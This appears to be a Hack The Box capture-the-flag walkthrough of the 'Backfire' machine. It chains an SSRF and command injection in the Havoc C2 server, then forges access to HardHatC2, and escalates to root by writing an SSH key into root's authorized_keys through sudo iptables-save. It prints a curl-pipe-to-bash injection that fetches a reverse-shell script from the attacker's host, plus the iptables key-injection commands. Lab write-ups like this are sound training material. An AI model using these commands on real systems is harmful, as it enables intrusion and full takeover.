Introduction to Backfire:

In this write-up, we will explore the “Backfire” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Backfire” machine from Hack The Box by achieving the following objectives:

User Flag:

We obtained the user flag by exploiting two vulnerabilities in the Havoc C2 framework. First, we leveraged a Server-Side Request Forgery (SSRF) vulnerability (CVE-2024-41570) to interact with internal services.. This was chained with an authenticated Remote Code Execution (RCE) vulnerability, allowing execution of arbitrary commands and gaining a reverse shell as the ilya user. To maintain a more stable connection, SSH keys were generated and authorised, which provided reliable access to the system and allowed for the retrieval of the user.txt flag.

Root Flag:

Privilege escalation to root involved targeting the Hardhat C2 service. Using a Python script, we forged a valid JWT token to create a new administrative user. This access allowed us to obtain a reverse shell as the sergej user. Upon further examination, it was discovered that sergej it had sudo privileges on the iptables-save binary. This was abused to overwrite the /etc/sudoers file, granting full root access. With root privileges, the root.txt flag was successfully retrieved.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oN nmap_initial.txt 10.10.11.49

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/backfire]
└──╼ $nmap -sC -sV -oA initial 10.10.11.49
# Nmap 7.94SVN scan initiated Tue May 20 16:24:16 2025
Nmap scan report for 10.10.11.49
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4
| ssh-hostkey: 256 ECDSA and ED25519 keys
443/tcp  open  ssl/http nginx 1.22.1
|_http-server-header: nginx/1.22.1
| tls-alpn: http/1.1, http/1.0, http/0.9
|_http-title: 404 Not Found
| ssl-cert: CN=127.0.0.1, O=TECH CO, ST=Colorado, C=US
| Valid: 2024-12-09 to 2027-12-09
8000/tcp open  http     nginx 1.22.1
|_http-title: Index of /
| http-ls: Volume / with disable_tls.patch and havoc.yaotl files
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The output above clearly shows the open ports.

Analysis:

• 22/tcp (SSH): This port is running OpenSSH 9.2p1 on Debian 12. Although no credentials are currently available, it could later serve as a valuable post-exploitation entry point once initial access is established.
• 443/tcp (HTTPS): On the other hand, this port runs Nginx with a self-signed certificate issued for 127.0.0.1. Because it returns a 404 error, it is likely intended for internal use or is misconfigured. Therefore, it may be useful for SSRF exploitation or internal routing if accessible.
• 8000/tcp (HTTP): Most notably, this port reveals a directory listing containing two files: disable_tls.patch and havoc.yaotl. These files are likely related to the Havoc C2 framework. Additionally, Nmap indicates potential open proxy behavior, which could be leveraged for internal access or lateral movement.

Web Enumeration on Backfire Machine:

Web Application Exploration:

Opening the IP in the browser simply displays a 404 error from Nginx, with no useful information on the main page.

The files havoc.yaotl and disable_tls.patch is available for download. Let’s examine their contents to understand their relevance.

The disable_tls.patch file removes encryption from the Havoc C2 WebSocket on port 40056, switching from secure (wss://) to insecure (ws://) communication. A comment suggests someone framed Sergej as inactive, claiming local-only access made the change safe. Although it may seem beneficial in theory, in practice, it significantly undermines internal security. Moreover, such behaviour could potentially indicate deliberate sabotage.

This configuration sets up a control server running only on the local machine (127.0.0.1) using port 40056. It defines two users, “ilya” and “sergej,” each with their passwords. The system frequently runs background tasks every few seconds. Additionally, the system uses Windows Notepad as a placeholder program during certain operations. Furthermore, it listens for incoming connections securely on port 8443; however, it accepts connections only from the local machine. Consequently, the environment remains tightly controlled.

What is Havoc?

Cybersecurity teams use Havoc to test and improve security. As a result, it helps teams control computers they’ve gained access to during testing by sending commands and, in turn, receiving information back.. Created and maintained by Paul Ungur (C5pider).

It has two parts:

• The Teamserver acts like a central hub, managing all connected computers and tasks. It usually runs on a server accessible to the team.
• The Client is the user interface where the team controls everything and sees the results.

Exploitation on the Backfire machine

Create a reverse shell script (e.g., shell.sh), using any filename of your choice.

Initiate the listener to await incoming connections.

Download the exploit script to your machine using the link here

Launch the Python HTTP server to serve the necessary files.

The script imports required libraries and disables urllib3 warnings. It defines a decrypt() function that pads the key to 32 bytes and decrypts data using AES CTR mode.

Backfire Machine Source Code Architecture & CVE-2024-41570 Overview

A WebSocket payload simulates a listener heartbeat for the C2 server:

pythonCopyEdit<code>payload = { ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

To execute commands, an injection string fetches and runs a shell script:

pythonCopyEdit<code>cmd = "curl http://<IP>:<PORT>/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""

This injection is inserted into the Service Name field within another JSON payload. The system serialises the payload, frames it, and sends it via WebSocket.

pythonCopyEdit<code>payload = { ... "Service Name": injection, ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

This exploits a command injection vulnerability, enabling remote code execution.

This Python script demonstrates a remote code execution (RCE) exploit targeting a vulnerable Havoc C2 server. It mimics a legitimate agent registering with the server, establishes a socket connection, and communicates over WebSocket using Havoc’s internal protocol.

The script first injects a malicious payload into the server configuration by exploiting weak input handling. As a consequence of the vulnerability, it can execute arbitrary shell commands on the Teamserver. This, in turn, may allow an attacker to gain full control over the system.

We created a payload that fetches and runs a shell script using curl. The command is injected into the Service Name field to trigger remote code execution on the target system.

pythonCopyEdit<code>cmd = "curl http://10.10.14.132/shell.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""

First, this injection is placed inside a JSON object, which is then converted into a WebSocket frame. After that, we send the crafted payload over an existing socket connection to the server.

pythonCopyEdit<code>payload = { ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame, message)

The payload exploits a weakness in how the server handles service names, giving us remote code execution.

This command downloads and runs a shell script from the attacker’s machine, effectively granting remote access. The code serialises the payload to JSON, wraps it in a WebSocket frame, and sends it to the server over an established socket, bypassing standard defences and triggering code execution within the server context.

A specially crafted WebSocket request triggers the RCE vulnerability. Next, the following command demonstrates how to run the exploit:

python3 exploit.py --target https://backfire.htb -i 127.0.0.1 -p 40056

Why This Exploit Targets Port 40056

Port 40056 is the Havoc Teamserver’s listening port. Targeting it lets you reach the internal WebSocket service that handles commands, enabling remote code execution through the vulnerability.

We completed the file transfer as demonstrated above.

We successfully established a reverse shell connection back to us.

The user flag can be retrieved by executing the command cat user.txt.

Escalate to Root Privileges Access on Backfire Machine

Privilege Escalation:

A message found on the target indicates that Sergej installed HardHatC2 for testing and left the configuration at its default settings. It also humorously suggests a preference for Havoc over HardHatC2, likely to avoid learning another C2 framework. The note ends with a lighthearted remark favouring Go over C#, hinting at the author’s language preference.

Since the reverse shell kept dropping, we had to switch over and continue access via SSH instead.

Created an SSH key ssh-keygen and added the public key to backfire‘s authorized_keys to gain access without relying on an unstable reverse shell.

Above is a screenshot showing the backfire.pub file, which we can transfer by copying it directly to the target machine.

This method demonstrates how to paste the file onto the target machine.

The SSH key id_rsa is unexpectedly resulting in a “permission denied (publickey)” error.

Accordingly, we will generate the SSH key directly on the victim’s machine.

You can extract the key from the victim’s machine and securely transfer it to our system.

Initially, we attempted to access the machine via SSH; however, it requires ED25519 key authentication.

We will generate the id_ed25519 public key and set its permissions to 600.

The key is added to the victim’s machine.

Therefore, we can gain SSH access using the id_ed25519 key.

Unfortunately, no SUID binaries are accessible since they require a password, which we do not possess.

Port-Forwarding the port

After further inspection, we identified several open ports; notably, ports 7096 and 5000 drew particular attention due to their potential relevance.

Although both ports 5000 and 7096 appear filtered according to the Nmap scan, we will attempt port forwarding to probe their accessibility from the internal network.

Accessing port 5000 yielded no visible response or content.

Accessing the service on Port 7096 requires credentials, which are currently unavailable.

We successfully created a user account with the username and password set to ‘dark’.

Successfully accessed the HardHat C2 dashboard.

Navigate to the ‘Terminal‘ tab within the implantInteract section.

We can perform a test by executing the id command.

Surprisingly, it worked flawlessly.

Add the SSH id_ed25519 public key to Sergej’s authorized_keys file to enable secure access.

Impressive! The operation was successful.

Finally, we have successfully accessed Sergej’s account using the SSH id_ed25519 key.

Once logged in through SSH, run sudo -l to identify which commands can be executed with elevated privileges. It shows that sudo users have permission to run iptables and iptables-save.

This method takes advantage of how line wrapping works in command comments to inject an SSH key with root privileges. By adding a specially crafted comment containing the SSH key to an iptables rule and then exporting the rules to the root user’s authorized_keys file, you can grant SSH access as root:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 ssh key\n'
sudo iptables-save -f /root/.ssh/authorized_keys

We successfully gained root access using the SSH id_ed25519 key.

The root flag can be retrieved by executing the command cat root.txt.

The post Hack The Box: Backfire Machine Walkthrough – Medium Difficulty appeared first on Threatninja.net.